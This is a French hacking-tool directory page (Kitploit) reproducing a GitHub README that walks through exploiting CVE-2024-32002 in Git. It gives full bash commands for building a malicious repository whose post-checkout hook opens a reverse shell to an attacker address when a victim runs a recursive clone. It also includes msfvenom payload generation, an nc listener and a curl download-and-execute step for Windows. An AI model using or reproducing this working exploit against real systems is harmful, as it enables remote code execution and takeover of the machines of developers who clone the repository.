Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-32002 — Exploit pour CVE-2024-32002, une vulnérabilité RCE dans Git qui utilise le clonage récursif de sous-modules et les liens symboliques pour exécuter des commandes arbitraires sur des cibles Windows et Linux. | Kitploit
Outils/GitHubGitHub/charlesgargasson/cve-2024-32002
Escalade de PrivilègesExploitationMouvement LatéralExploitation d'Applications WebPost-ExploitationTests d'IntrusionCommandement et ContrôleRed TeamingDéveloppement de Charges Utiles

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubcharlesgargasson/cve-2024-32002

CVE-2024-32002

Exploit pour CVE-2024-32002, une vulnérabilité RCE dans Git qui utilise le clonage récursif de sous-modules et les liens symboliques pour exécuter des commandes arbitraires sur des cibles Windows et Linux.

Voir le dépôt
2il y a 2 ansPas encore vérifié

###################### GIT RCE CVE-2024-32002 ######################


Description


| CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/

|


Exploit


| First you need to create "calledrepo" "commandrepo" repos on git. | Victim will later call the calledrepo with "git clone --recursive calledrepo.git" that redirect to commandrepo and execute the hook script. | This bash reverseshell payload works on WINDOWS and LINUX. | I'm using git cli in docker because i don't want to get trouble with my system git config, but it's optionnal

.. code-block:: bash

Stat a debian docker instance

docker run --rm -it debian

Install git

apt update apt install -y git

| Configuration de git

.. code-block:: bash

git config --global user.email "whatever" git config --global user.name "whatever" git config --global protocol.file.allow always git config --global core.symlinks true git config --global init.defaultBranch main

| Définition des variables

.. code-block:: bash

GIT_IP="10.129.19.99" GIT_USER="charles" GIT_PORT="3000" LHOST="10.10.14.113" LPORT="4444"

| Remplissage des dépôts

.. code-block:: bash

cd /tmp rm -rf calledrepo commandrepo

git clone "http://$GIT_IP:$GIT_PORT/$GIT_USER/commandrepo.git" cd commandrepo mkdir -p y/hooks cat <y/hooks/post-checkout #!/bin/bash /bin/bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" EOF chmod +x y/hooks/post-checkout git add y/hooks/post-checkout git commit -m "post-checkout" git push cd ..

git clone "http://$GIT_IP:$GIT_PORT/$GIT_USER/calledrepo.git" cd calledrepo git submodule add --name x/y "http://$GIT_IP:$GIT_PORT/$GIT_USER/commandrepo.git" A/modules/x git commit -m "add-submodule" printf ".git" > dotgit.txt git hash-object -w --stdin < dotgit.txt > dot-git.hash printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info git update-index --index-info < index.info git commit -m "add-symlink" git push cd ..

Echo the command to run on victim

echo "git clone --recursive http://$GIT_IP:$GIT_PORT/$GIT_USER/calledrepo.git"

|


Windows


| Après l'exploitation sur Windows, vous obtiendrez un git bash qui a quelques problèmes/restrictions :

.. code-block:: bash

$ C:\windows\System32\whoami.exe /all bash: C:windowsSystem32whoami.exe: command not found

| Si vous voulez vous échapper de cet environnement, vous pouvez lancer un nouveau reverse shell

.. code-block:: bash

Attacker side

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o payload.exe sudo cp payload.exe /var/www/html sudo nc -nvlp 443 -s 10.10.14.113

.. code-block:: bash

Windows side

cd ~/ curl http://10.10.14.113/payload.exe -O payload.exe ./payload.exe

|

| N'oubliez pas que git bash peut avoir la priorité sur les commandes Windows en termes de chemin. | Vous pouvez exécuter la commande Windows en utilisant le chemin complet.

.. code-block:: bash

C:\windows\System32\whoami.exe /all

|

Télécharger l’outil